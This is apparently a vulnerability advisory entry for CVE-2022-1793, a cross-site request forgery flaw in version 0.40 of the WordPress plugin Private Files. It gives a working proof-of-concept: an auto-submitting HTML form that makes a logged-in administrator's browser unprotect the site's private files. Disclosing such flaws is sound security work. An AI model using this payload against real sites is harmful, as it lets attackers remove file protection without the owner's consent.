CVE: CVE-2022-1793

Name: Private Files (private-files)

Version: 0.40

Date: 2022-04-21 14:52:55

Advisory: https://wpscan.com/vulnerability/fd8b84b4-6944-4638-bdc1-1cb6aaabd42c

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/tools.php?page=privatefiles.php" method="POST">
    <input type="text" name="level" value="-1">
    <input type="text" name="unprotect" value="Unprotect">
</form>
<script>
    document.forms[0].submit();
</script>